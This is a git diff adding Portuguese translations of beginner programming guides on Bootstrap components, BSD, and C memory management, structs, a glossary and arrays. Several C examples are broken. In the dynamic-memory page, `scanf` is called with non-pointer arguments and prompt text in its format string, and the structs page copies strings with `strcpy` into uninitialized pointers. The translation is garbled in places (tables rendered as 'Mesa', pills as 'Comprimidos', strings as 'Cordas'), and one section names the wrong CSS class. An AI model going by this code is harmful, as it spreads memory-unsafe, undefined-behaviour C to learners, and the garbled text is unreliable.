+      <li><a href="#">Action Link #1</a></li> 
+      <li><a href="#">Action Link #2</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### Exibindo a barra de navegação independente da rolagem
+
+Em alguns casos, você pode querer manter a barra de navegação na parte superior ou inferior da tela, independentemente da rolagem. Você precisará adicionar a classe `navbar-fixed-top` ou `navbar-fixed-bottom` ao elemento `<nav>` .
+
+```html
+
+<nav class="navbar navbar-default navbar-fixed-top"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### Recolhendo a barra de navegação
+
+Em uma tela pequena (como um telefone ou tablet), a barra de navegação ocupará muito espaço. Felizmente a opção de collase a navbar existe. Você pode fazer isso usando o seguinte exemplo.
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### Exemplos de Navbar
+
+`navbar navbar-default`
+
+[Nome do site](#navbar-default)
+
+*   [Casa](#navbar-default)
+*   [Página 1](#navbar-default)
+*   [Página 2](#navbar-default)
+*   [Página 3](#navbar-default)
+Botão
+
+*   [Link de ação 1](#navbar-default)
+*   [Link de ação nº 2](#navbar-default)
+
+`navbar navbar-inverse`
+
+[Nome do site](#navbar-inverse)
+
+*   [Casa](#navbar-inverse)
+*   [Página 1](#navbar-inverse)
+*   [Página 2](#navbar-inverse)
+*   [Página 3](#navbar-inverse)
+Botão
+
+*   [Link de ação 1](#navbar-inverse)
+*   [Link de ação nº 2](#navbar-inverse)
+
+#### Mais Informações:
+
+[Documentação de navbar do Bootstrap](https://getbootstrap.com/docs/4.0/components/navbar/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/panels/index.md b/client/src/guide/portuguese/bootstrap/panels/index.md
new file mode 100644
index 0000000000..78e832b8ae
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/panels/index.md
@@ -0,0 +1,65 @@
+---
+title: Panels
+localeTitle: Painéis
+---
+## Painéis
+
+A estrutura do Bootstrap fornece um recurso chamado painéis. Um painel é uma caixa que possui um título estilizado e, em seguida, um corpo que permite exibir informações de maneira organizada, por meio de um conjunto de um ou mais painéis.
+
+#### Como usar:
+
+Para usar os Painéis de Bootstrap, você adiciona um `<div>` a uma classe para o seu tipo de painel ( `panel panel-default` de painel de painel de classe ou algo semelhante, consulte os exemplos de painel para obter mais informações) e duas tags `<div>` aninhadas, uma para o título ( `panel panel-heading` classe) e um para o corpo ( `panel panel-body` classe). Você pode achar que o exemplo de código é mais fácil de entender do que uma explicação por escrito.
+
+**Exemplo de código**
+
+```html
+
+<div class="panel panel-primary"> 
+  <div class="panel panel-heading">Panel Primary</div> 
+  <div class="panel panel-body"> This is a panel with the primary panel style.</div> 
+ </div> 
+```
+
+#### Exemplos de painéis:
+
+Este é um conjunto de exemplos que mostra cada tipo de painel. A classe CSS é exibida acima de cada exemplo.
+
+`panel panel-default`
+
+Padrão do painel
+
+Este é um painel com o estilo de painel padrão.
+
+`panel panel-primary`
+
+Painel Primário
+
+Este é um painel com o estilo do painel principal.
+
+`panel panel-success`
+
+Sucesso do Painel
+
+Este é um painel com o estilo de painel de sucesso.
+
+`panel panel-info`
+
+Informações do painel
+
+Este é um painel com o estilo do painel de informações.
+
+`panel panel-warning`
+
+Aviso do Painel
+
+Este é um painel com o estilo do painel de aviso.
+
+`panel panel-danger`
+
+Perigo do painel
+
+Este é um painel com o estilo do painel de perigo.
+
+### Mais Informações
+
+*   [Documentação suspensa de bootstrap](https://getbootstrap.com/docs/4.0/components/dropdowns/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/tables/index.md b/client/src/guide/portuguese/bootstrap/tables/index.md
new file mode 100644
index 0000000000..cc28f2f8c5
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/tables/index.md
@@ -0,0 +1,103 @@
+---
+title: Tables
+localeTitle: Tabelas
+---
+## \## Tabelas
+
+#### Mesa Básica
+
+Para obter o exemplo de estilo básico, inclua a classe base `.table` em qualquer elemento `<table>` .
+
+**Exemplo**
+```
+<table class="table"> 
+  ... 
+ </table> 
+```
+
+![Mesa Básica](https://github.com/TroyB12/Pictures/blob/master/Basic%20Table.PNG)
+
+* * *
+
+#### Mesa Listrada
+
+Para obter o efeito de linha listrada (zebra-striping) em tabelas, use `.table-striped` em adição a `.table` em qualquer elemento `<table>` . As tabelas distribuídas são estilizadas por meio do seletor CSS `:nth-child` , que não está disponível no Internet Explorer 8.
+```
+<table class="table table-striped"> 
+  ... 
+ </table> 
+```
+
+![Mesa listrada](https://github.com/TroyB12/Pictures/blob/master/Table%20Striped.PNG)
+
+* * *
+
+#### Mesa delimitada
+
+Para alcançar a tabela de bordas use `.table-bordered` além de `.table` em qualquer elemento `<table>` .
+```
+<table class="table table-bordered"> 
+  ... 
+ </table> 
+```
+
+![Bordered Table](https://github.com/TroyB12/Pictures/blob/master/Table%20Bordered.PNG)
+
+* * *
+
+#### Mesa Hover
+
+Para obter o efeito de hover row nas tabelas, use `.table-bordered` além de `.table` em qualquer elemento `<table>` .
+```
+<table class="table table-hover"> 
+  ... 
+ </table> 
+```
+
+![Tabela de foco](https://github.com/TroyB12/Pictures/blob/master/Table%20Hover.PNG)
+
+* * *
+
+#### Mesa condensada
+
+Para obter a tabela condensada use `.table-condensed` além de `.table` em qualquer elemento `<table>` .
+```
+<table class="table table-condensed"> 
+  ... 
+ </table> 
+```
+
+![Mesa Condensada](https://github.com/TroyB12/Pictures/blob/master/Table%20Condensed.PNG)
+
+* * *
+
+#### Tabela Responsiva
+
+Para obter a tabela responsiva, `.table` qualquer tabela `.table` em um elemento `.table-responsive` tabela.
+
+...
+
+![Tabela Responsiva](https://github.com/TroyB12/Pictures/blob/master/Table%20Responsive.PNG)
+
+* * *
+
+Os desenvolvedores podem alterar o estilo de cada linha e / ou célula individualmente usando **classes contextuais** .
+
+*   `.active` - Aplica a cor hover a uma linha ou célula específica
+    
+*   `.success` - Indica uma ação bem-sucedida ou positiva
+    
+*   `.info` - Indica uma mudança ou ação informativa neutra
+    
+*   `.warning` - Indica um aviso que pode precisar de atenção
+    
+*   `.danger` - Indica uma ação perigosa ou potencialmente negativa
+    
+    … … … … …
+    
+    … … … … …
+    
+
+![Tabela de Classes Contextuais](https://github.com/TroyB12/Pictures/blob/master/Table%20Contextual%20Classes.PNG)
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/tabs-and-pills/index.md b/client/src/guide/portuguese/bootstrap/tabs-and-pills/index.md
new file mode 100644
index 0000000000..ecd9aed7ce
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/tabs-and-pills/index.md
@@ -0,0 +1,125 @@
+---
+title: Tabs and Pills
+localeTitle: Abas e Comprimidos
+---
+## Abas e Comprimidos
+
+Guias e Pílulas são formas de navegação. Isso significa que eles ajudam o usuário final a navegar pelo site de uma maneira amigável.
+
+### Guias
+
+Para obter as guias de bootstrap, primeiro você precisa de um elemento que tenha a classe `.nav` atribuída a ele. Então você simplesmente adiciona uma classe extra chamada `.nav-tabs` .
+
+```html
+
+<ul class="nav nav-tabs"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+```
+
+## ![Guias de bootstrap](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs.PNG)
+
+### Comprimidos
+
+O Bootstrap Pills é obtido da mesma forma que o Bootstrap Tabs, exceto em vez de `.nav-tabs` , use `.nav-pills` .
+
+```html
+
+<ul class="nav nav-pills"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+```
+
+## ![Comprimidos Bootstrap](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills.PNG)
+
+### Comprimidos empilhados
+
+Pílulas Bootstrap também são empilháveis ​​verticalmente usando `.nav stacked` em conjunto com `.nav-pills` .
+
+```html
+
+<ul class="nav nav-pills nav-stacked"> 
+  ... 
+ </ul> 
+```
+
+## ![Comprimidos de inicialização empilhados](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Stacked.PNG)
+
+### Bootstrap Tabs / Pills Justified
+
+Ambas as guias e pílulas do Bootstrap podem ter largura igual do pai em telas mais largas que o 768px usando `.nav-justified` classe `.nav-justified` . Em telas menores, os links de navegação são empilhados.
+
+```html
+
+<ul class="nav nav-tabs nav-justified"> 
+  ... 
+ </ul> 
+ <ul class="nav nav-pills nav-justified"> 
+  ... 
+ </ul> 
+```
+
+## ![Bootstrap Tabs / Pills Justified](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20And%20Pills%20Justified.PNG)
+
+### Links desativados
+
+Para qualquer componente nav (guias ou pílulas) adicione `.disabled` para links cinza e sem efeitos de foco
+
+```html
+
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="disabled"><a href="#">Disabled link</a></li> 
+  ... 
+ </ul> 
+```
+
+## ![Links desativados](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20and%20Pills%20Disabled%20Link.PNG)
+
+### Guias com Dropdowns
+
+Adicione menus suspensos às suas guias de navegação.
+
+```html
+
+<ul class="nav nav-tabs"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+```
+
+## ![Guias com Dropdowns](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20Dropdown.PNG)
+
+#### Guias com Dropdowns
+
+Adicione menus suspensos às suas pílulas nav.
+
+```html
+
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+```
+
+![Comprimidos com Dropdowns](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Dropdown.PNG)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bootstrap/templates/index.md b/client/src/guide/portuguese/bootstrap/templates/index.md
new file mode 100644
index 0000000000..fc089f3f8c
--- /dev/null
+++ b/client/src/guide/portuguese/bootstrap/templates/index.md
@@ -0,0 +1,22 @@
+---
+title: Templates
+localeTitle: Modelos
+---
+## Modelos
+
+### Visão geral
+
+Os modelos são kits de ferramentas pré-construídos que facilitam a criação de uma nova página da web. Se você tiver uma ideia geral do layout desejado, ou se quiser navegar por uma biblioteca de modelos de layout comuns para obter ideias, os modelos do Bootstrap tiram muito da monotonia e as frustrações se formam no processo inicial de criação. Essa ajuda ajuda você a se concentrar nos detalhes mais sutis do projeto, em vez de se perguntar por que o CSS não está cooperando.
+
+### Começando
+
+*   A página oficial do Bootstraps oferece "Temas" em vez de modelos. Os temas são apenas projetos iniciados totalmente desenvolvidos, enquanto um modelo descreve apenas um quadro HTML pré-construído. Os temas custam dinheiro e talvez ajudem o desenvolvedor iniciante, enquanto muitos modelos são de código aberto e fornecem apenas os elementos preliminares de layout necessários.
+*   Abaixo está uma lista de modelos de layout, feitos especificamente para o Bootstrap. Diverta-se!
+
+### Links de modelo
+
+*   [Modelos StartBootstrap](https://startbootstrap.com/)
+*   [W3 Escolas Bootstrap Templates](https://www.w3schools.com/bootstrap/bootstrap_templates.asp)
+*   [Envoltório bootstrap](https://wrapbootstrap.com/)
+*   [Wow Slider](http://wowslider.com/posts/35-top-free-bootstrap-templates-2016-95.html)
+*   [Bootstrap Made](https://bootstrapmade.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/bsd-os/index.md b/client/src/guide/portuguese/bsd-os/index.md
new file mode 100644
index 0000000000..6146351a40
--- /dev/null
+++ b/client/src/guide/portuguese/bsd-os/index.md
@@ -0,0 +1,25 @@
+---
+title: BSD operating system
+localeTitle: Sistema operacional BSD
+---
+## Sistema operacional BSD
+
+![Sistema operacional BSD, mais notavelmente o freeBSD: o poder de servir](https://www.freebsd.org/layout/images/logo-red.png)
+
+### Visão geral
+
+O Berkeley Software Distribution (BSD) é um grupo de sistemas operacionais (SO) semelhantes a Unix de código-fonte aberto, com origens em versões anteriores do Research Unix no Bell Labs. O FreeBSD é o membro mais popular.
+
+O BSD é configurado para hospedagem na Internet, hospedagem na web e hospedagem de vários servidores em um único sistema. É o primeiro sistema operacional que adicionou um protocolo de internet. Os sistemas operacionais BSD possuem um sistema de compartilhamento de tempo fortemente aplicado, o que os torna mais úteis quando os recursos são compartilhados entre os processos. Como comparação, o sistema operacional Linux é conhecido por ser preferido para processos de tarefa única, como supercomputadores e desktops. A parte efetiva do tempo de interrupção forçada multitarefa do BSD atrapalha os processos únicos dedicados.
+
+O BSD inclui um sistema de 'Jails' que é um pouco análogo ao Linux Containers - exceto com segurança adicional e flexibilidade na implementação.
+
+### Mais Informações:
+
+[FreeBSD (Wikipedia.org)](https://en.wikipedia.org/wiki/FreeBSD)
+
+[OpenBSD (Wikipedia.org)](https://en.wikipedia.org/wiki/OpenBSD)
+
+[NetBSD (Wikipedia.org)](https://en.wikipedia.org/wiki/NetBSD)
+
+[Comparação de sistemas operacionais BSD (Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_BSD_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/Dinamic Memory Management/index.md b/client/src/guide/portuguese/c/Dinamic Memory Management/index.md
new file mode 100644
index 0000000000..ef3800340e
--- /dev/null
+++ b/client/src/guide/portuguese/c/Dinamic Memory Management/index.md	
@@ -0,0 +1,94 @@
+---
+title: Dinamic Memory Management
+localeTitle: Gerenciamento Dinâmico de Memória
+---
+# Gerenciamento Dinâmico de Memória
+
+Às vezes, você precisará alocar espaços de memória no heap, também conhecidos como memória dinâmica. Isso é especialmente útil quando você não sabe durante o tempo de compilação o tamanho da estrutura de dados (como uma matriz).
+
+## Um exemplo
+
+Aqui está um exemplo simples onde alocamos um array pedindo ao usuário para escolher a dimensão
+
+```C
+#include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ int main(void) { 
+    int arrayDimension,i; 
+    int* arrayPointer; 
+ 
+    scanf("Please insert the array dimension:%d",arrayDimension); 
+    arrayPointer = (int*)malloc(sizeof(int)*arrayDimension); 
+ 
+    if(arrayPointer == NULL){ 
+      printf("Error allocating memory!"); 
+      return -1; 
+     } 
+ 
+     for(i=0;i<arrayDimension;i++){ 
+        printf("Insert the %d value of the array:",i+1); 
+        scanf("%d\n",arrayPointer[i]); 
+     } 
+ 
+    free(arrayPointer); 
+    return 0; 
+ } 
+```
+
+Como você pode ver para alocar um espaço na memória dinâmica, você precisa saber como os ponteiros funcionam em C. A função mágica aqui é o `malloc` que retornará como saída um ponteiro vazio (é um ponteiro para uma região de tipo de dados desconhecido) para o novo espaço de memória que acabamos de alocar. Vamos ver como usar essa função passo a passo:
+
+## Alocando uma matriz durante o tempo de execução
+
+```C
+sizeof(int) 
+```
+
+Vamos começar do `sizeof` . O `malloc` precisa saber quanto espaço aloca para seus dados. Na verdade, uma variável `int` usará menos espaço de armazenamento do que um `double` . Geralmente não é seguro assumir o tamanho de qualquer tipo de dados. Por exemplo, embora a maioria das implementações de C e C ++ em sistemas de 32 bits definam o tipo int como quatro octetos, esse tamanho pode mudar quando o código é portado para um sistema diferente, quebrando o código. `sizeof` como o nome sugere gera o tamanho de uma variável ou tipo de dados.
+
+```C
+arrayPointer = (int*) malloc(sizeof(int) * arrayDimension); 
+```
+
+Neste exemplo, malloc aloca memória e retorna um ponteiro para o bloco de memória. O tamanho do bloco alocado é igual ao número de bytes para um único objeto do tipo int multiplicado por `arrayDimension` , desde que o sistema tenha espaço suficiente disponível. Mas e se você não tem espaço suficiente ou `malloc` não pode alocá-lo por outras razões?
+
+## Verificando a saída do malloc
+
+Isso não acontece normalmente, mas é uma boa prática verificar o valor da sua variável de ponteiro depois de alocar um novo espaço de memória.
+
+```C
+    if(arrayPointer == NULL) 
+      printf("Error allocating memory!"); 
+```
+
+Isso também será muito útil durante a fase de depuração e evitará alguns erros possíveis usando a última função usada no exemplo.
+
+## Uma palavra em livre ()
+
+Normalmente, as variáveis ​​são automaticamente desalocadas quando seu escopo é destruído, liberando a memória que elas estavam usando. Isso não acontece quando você aloca manualmente a memória usando o `malloc` . Para evitar vazamentos de memória em programas mais complexos e para não criar lixo no sistema, você tem que liberar a área de memória usada recentemente antes de finalizar sua execução de código.
+
+```C
+  free(arrayPointer); 
+```
+
+No final, você entenderá com certeza que a verificação do valor de `arrayPointer` foi necessária para evitar um erro usando a função `free` . Se o valor de `arrayPointer` fosse igual a `NULL` você poderia ter expirado algum tipo de bug.
+
+## Outras funções semelhantes às malloc
+
+Às vezes você precisa não apenas reservar uma nova área de memória para suas operações, você também pode precisar inicializar todos os bytes para zero. É para isso que o `calloc` é usado. Em outros casos, você deseja redimensionar a quantidade de memória apontada por um ponteiro. Por exemplo, se você tiver um ponteiro atuando como uma matriz de tamanho `n` e desejar alterá-lo para uma matriz de tamanho `m` , poderá usar `realloc` .
+
+```C
+  int *arr = malloc(2 * sizeof(int)); 
+  arr[0] = 1; 
+  arr[1] = 2; 
+  arr = realloc(arr, 3 * sizeof(int)); 
+  arr[2] = 3; 
+```
+
+## Erros comuns
+
+O uso indevido da alocação dinâmica de memória pode freqüentemente ser uma fonte de bugs, como você já viu antes. Os erros mais comuns são:
+
+*   Não está verificando falhas de alocação Não é garantido que a alocação de memória seja bem-sucedida e, em vez disso, pode retornar um ponteiro nulo. Usando o valor retornado, sem verificar se a alocação é bem-sucedida, invoca o comportamento indefinido. Isso geralmente leva ao travamento (devido à falha de segmentação resultante no cancelamento de referência do ponteiro nulo), mas não há garantia de que uma falha ocorrerá, portanto, depender disso também pode causar problemas.
+*   Perdas de memória A falha em desalocar a memória usando o `free` leva ao acúmulo de memória não reutilizável, que não é mais usada pelo programa.
+*   Erros lógicos Todas as alocações devem seguir o mesmo padrão: alocação usando `malloc` , uso para armazenar dados e desalocação usando `free` . Se você não seguir este padrão, geralmente a errore de falha de segmentação será dada e o programa falhará. Esses erros podem ser temporários e difíceis de depurar - por exemplo, a memória liberada geralmente não é recuperada imediatamente pelo sistema, e os ponteiros pendentes podem persistir por algum tempo e parecer funcionar.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/Structured data types/index.md b/client/src/guide/portuguese/c/Structured data types/index.md
new file mode 100644
index 0000000000..269888e6c2
--- /dev/null
+++ b/client/src/guide/portuguese/c/Structured data types/index.md	
@@ -0,0 +1,89 @@
+---
+title: Structured data types
+localeTitle: Tipos de dados estruturados
+---
+# Tipos de dados estruturados em C
+
+Durante sua experiência de programação, você pode sentir a necessidade de definir seu próprio tipo de dados. Em C isso é feito usando duas palavras-chave: `struct` e `typedef` . Estruturas e sindicatos lhe darão a chance de armazenar tipos de dados não homogêneos em uma única coleção.
+
+## Declarando um novo tipo de dados
+
+```C
+typedef struct student_structure{ 
+    char* name; 
+    char* surname; 
+    int year_of_birth; 
+ }student; 
+```
+
+Após este pequeno código o `student` será uma nova palavra reservada e você poderá criar variáveis ​​do tipo `student` . Por favor, lembre-se que este novo tipo de variável será estruturado, o que significa que define uma lista fisicamente agrupada de variáveis ​​a serem colocadas sob um nome em um bloco de memória.
+
+## Novo uso de tipo de dados
+
+Vamos agora criar uma nova variável de `student` e inicializar seus atributos:
+
+```C
+   student stu; 
+ 
+   strcpy( stu.name, "John"); 
+   strcpy( stu.surname, "Snow"); 
+   stu.year_of_birth = 1990; 
+ 
+   printf( "Student name : %s\n", stu.name); 
+   printf( "Student surname : %s\n", stu.surname); 
+   printf( "Student year of birth : %d\n", stu.year_of_birth); 
+```
+
+Como você pode ver neste exemplo, é necessário atribuir um valor a todas as variáveis ​​contidas em seu novo tipo de dados. Para acessar uma variável de estrutura, você pode usar o ponto como em `stu.name` . Há também uma maneira mais curta de atribuir valores a uma estrutura:
+
+```C
+typedef struct{ 
+   int    x; 
+   int    y; 
+ }point; 
+ 
+ point image_dimension = {640,480}; 
+```
+
+Ou se você preferir definir seus valores seguindo uma ordem diferente:
+
+```C
+point img_dim = { .y = 480, .x = 640 }; 
+```
+
+## Sindicatos vs Estruturas
+
+As uniões são declaradas da mesma forma que as structs, mas são diferentes porque apenas um item dentro da união pode ser usado a qualquer momento.
+
+```C
+typedef union{ 
+      int circle; 
+      int triangle; 
+      int ovel; 
+ }shape; 
+```
+
+Você deve usar `union` em tal caso, onde apenas uma condição será aplicada e apenas uma variável será usada. Por favor, não esqueça que podemos usar nosso novo tipo de dados também:
+
+```C
+typedef struct{ 
+      char* model; 
+      int year; 
+ }car_type; 
+ 
+ typedef struct{ 
+      char* owner; 
+      int weight; 
+ }truck_type; 
+ 
+ typedef union{ 
+  car_type car; 
+  truck_type truck; 
+ }vehicle; 
+```
+
+## Mais alguns truques
+
+*   Quando você cria um ponteiro para uma estrutura usando o operador `&` , você pode usar o operador especial `->` infix para deferê-lo. Isso é muito usado, por exemplo, ao trabalhar com listas vinculadas em C
+*   O novo tipo definido pode ser usado como outros tipos básicos para quase tudo. Tente, por exemplo, criar uma matriz do tipo `student` e ver como ela funciona.
+*   As estruturas podem ser copiadas ou atribuídas, mas você não pode compará-las!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/appendix/index.md b/client/src/guide/portuguese/c/appendix/index.md
new file mode 100644
index 0000000000..ef29f29380
--- /dev/null
+++ b/client/src/guide/portuguese/c/appendix/index.md
@@ -0,0 +1,75 @@
+---
+title: Appendix
+localeTitle: Apêndice
+---
+# C: um apêndice
+
+Como C é uma linguagem de baixo nível, há muitos termos que não são encontrados em muitos outros idiomas. Aqui está um apêndice para facilitar sua compreensão.
+
+## Compilação
+
+A compilação é o processo de pegar o código legível e transformá-lo em código legível por máquina. Esse processo é executado por um compilador.
+
+## Compilador
+
+Um compilador é um programa que compila código, o que significa que ele muda de algo legível para humanos em algo legível por máquina.
+
+## Depuração / Depurador
+
+A depuração é o processo de remover erros ("bugs") do seu código. Um depurador é uma ferramenta útil que facilita isso.
+
+## GNU + Linux
+
+GNU + Linux é o termo tecnicamente preciso para o que é comumente chamado de "Linux". Linux é um kernel - é um conjunto de programas que permitem que o software interaja com o hardware. Quando combinado com o GNU, ele se torna um sistema operacional, que permite que uma pessoa interaja com ele.
+
+## GUI
+
+Interface gráfica do usuário. Uma GUI permitirá que você interaja com um programa apontando e clicando em vez de ter que digitar comandos.
+
+## Arquivos de cabeçalho
+
+Arquivos de cabeçalho são arquivos que contêm declarações de função definidas em outros arquivos de origem. Normalmente, eles são 'incluídos' no topo de um arquivo de origem.
+
+## IDE
+
+Ambiente de desenvolvimento integrado. Isso é principalmente um editor, mas inclui ferramentas para verificar a sintaxe, formatar o estilo de código, compilar e depurar um programa, o que torna o código de escrita mais fácil.
+
+## Legível para humanos
+
+O código legível por humanos é um código que pode ser lido por uma pessoa - não está em código binário ou de máquina.
+
+## Bibliotecas
+
+As bibliotecas são conjuntos úteis de código que fornecem mais funções e recursos no idioma.
+
+## Linker
+
+Um software que combina vários arquivos Object (geralmente código-fonte compilado de bibliotecas) em um arquivo executável.
+
+## Linguagem de baixo nível
+
+Uma linguagem de programação de baixo nível contém código binário ou assembly que possui pouca ou nenhuma abstração de instruções no nível da máquina.
+
+## Código da máquina
+
+O código da máquina é o código que a máquina pode entender. Lembre-se de que os computadores usam números, não inglês, para serem executados.
+
+## Nova linha
+
+Uma nova linha é impressa quando você aperta Enter e é um exemplo de um caractere de espaço em branco. Você também pode adicionar uma nova linha à saída do seu programa, incluindo '\\ n' na declaração impressa.
+
+## Arquivo de Objeto
+
+Um arquivo que contém o código do objeto (código de máquina). O arquivo contém alguma compilação de saída, o que significa que ele conterá código de máquina / código de montagem.
+
+## Linker
+
+Um programa utilitário que tem a capacidade de obter arquivos de objeto e criar um arquivo executável, um arquivo de biblioteca ou outro arquivo de objeto. Outro nome para o Linker é um 'Loader'.
+
+## Ponteiro
+
+Um ponteiro é uma variável que contém o endereço de memória de outra variável. Matrizes, estruturas e funções explicitamente usam ponteiros que podem ajudar a produzir código eficiente e fácil de ler.
+
+## Espaço em branco
+
+Espaços em branco são os caracteres que você não vê quando digita, mas estão lá de qualquer maneira. Por exemplo, você não pode ver espaços, mas há muito aqui. Novas linhas são também caracteres de espaço em branco, assim como as guias.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/arrays-and-strings/index.md b/client/src/guide/portuguese/c/arrays-and-strings/index.md
new file mode 100644
index 0000000000..53de681fe6
--- /dev/null
+++ b/client/src/guide/portuguese/c/arrays-and-strings/index.md
@@ -0,0 +1,199 @@
+---
+title: Arrays and Strings
+localeTitle: Arrays e Strings
+---
+# Matrizes em C
+
+Matrizes permitem que um conjunto de variáveis ​​seja agrupado como uma variável. Isso é útil por si só, mas também porque as strings se enquadram nessa categoria. Strings, que são como representamos palavras e sentenças em linguagens de computador, são apenas coleções de variáveis ​​de caracteres. Portanto, nós representamos strings usando arrays em C.
+
+## Fazendo uma matriz
+
+Uma variável inteira normal seria declarada da seguinte forma:
+
+```C
+int my_variable; 
+```
+
+Para declarar isso como uma matriz e torná-lo uma matriz de 5 inteiros, pode ser declarado assim:
+
+```C
+int my_array[5]; 
+```
+
+Isso produzirá uma matriz chamada `my_array` que pode conter 5 inteiros. No entanto, nenhuma das posições na matriz foi definida (ainda). Você poderia declarar a matriz e ter os valores definidos no início:
+
+```C
+int my_array[] = {1, 5, 3, 6, 2}; 
+```
+
+Observe que neste exemplo, não nos preocupamos em especificar um número entre colchetes. Isso ocorre porque as chaves têm valores nelas que serão atribuídas a cada posição na matriz. Você pode colocar um número entre parênteses, desde que tenha certeza de criar locais de memória suficientes para armazenar os valores que você está passando.
+
+Ao inicializar uma matriz, você pode fornecer menos valores que os elementos da matriz. Por exemplo, o A seguinte instrução inicializa apenas os dois primeiros elementos de my\_array:
+
+float my\_array \[5\] = {5,0, 2,5};
+
+Se você inicializar parcialmente uma matriz, o compilador define os elementos restantes para zero.
+
+Agora que a matriz foi declarada com 5 valores, ela possui 5 locais de memória. Considere esta tabela para um exemplo visual disso:
+
+| Posição | 0 | 1 | 2 | 3 | 4 | | ---------- | --- | --- | --- | --- | --- | | Valor | 1 | 5 | 3 | 6 | 2 |
+
+Observe que, embora existam 5 locais de memória, as posições da matriz só vão até 4. Isso ocorre porque as matrizes em C (e na maioria das outras linguagens) começam em 0, porque as matrizes são implementadas usando ponteiros. Quando você chama uma posição em um array, você está realmente chamando esse local de memória mais um certo número. Para obter o começo da matriz, mova 0 lugares na memória, para obter a posição depois disso, mova um lugar na memória e assim por diante.
+
+Aqui está um exemplo de configuração da matriz para 9 na posição 1:
+
+```C
+my_array[1] = 9; 
+```
+
+Portanto, é igual a qualquer outra variável, exceto que ela possui vários valores para acessar usando o número entre colchetes. Os valores podem ser retornados dessa maneira também:
+
+```C
+int variable = my_array[4]; 
+```
+
+Isso irá declarar a `variable` como um inteiro igual ao valor na posição 4 de `my_array` . No entanto, como `variable` é um único `int` e não um array, esse **não** é o código que terá o resultado correto:
+
+```C
+// This code will NOT work properly! 
+ int variable = my_array; 
+```
+
+Qualquer número inteiro pode ser colocado entre colchetes para obter uma posição na matriz. Esses inteiros podem ser variáveis ​​também. Dê uma olhada neste exemplo, que imprime o conteúdo de uma matriz:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_array[] = {1, 1, 2, 3, 5, 7, 12}; 
+ 
+    for(int count = 0; count < 7; count++) { 
+        printf("%i, \n", my_array[count]); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+## Cordas
+
+Arrays são conjuntos de variáveis ​​e strings são conjuntos de caracteres. Como resultado, podemos representar strings com uma matriz. Você _pode_ declarar algo da mesma maneira que antes, mas você precisa colocar '\\ 0' como um dos seus valores (mais sobre isso em um minuto!):
+
+```C
+char hello_world[] = {'H', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd', '!', '\0'}; 
+```
+
+Yikes Isso não é realmente uma ótima solução. Felizmente, C fornece uma maneira melhor com strings em mente:
+
+```C
+char hello_world[] = "Hello world!"; 
+```
+
+Isso é muito melhor. Nem sequer exige que você coloque o '\\ 0' no final. Então, o que foi isso?
+
+### Terminação nula
+
+Seqüências de caracteres em C são terminadas em null, o que significa que elas terminam com o caractere nulo. Desta forma, o código do compilador (e de todos e de todos) saberá onde a string termina: uma vez que o caractere é null, a string é terminada.
+
+Claro, não há nenhum botão 'nulo' no seu teclado, mas você ainda precisa digitá-lo de alguma forma. Isso é o que o \\ 0 faz. Sempre que o compilador C vir \\ 0, ele inserirá um caractere nulo. É exatamente como \\ n imprime uma nova linha.
+
+### Imprimindo cordas
+
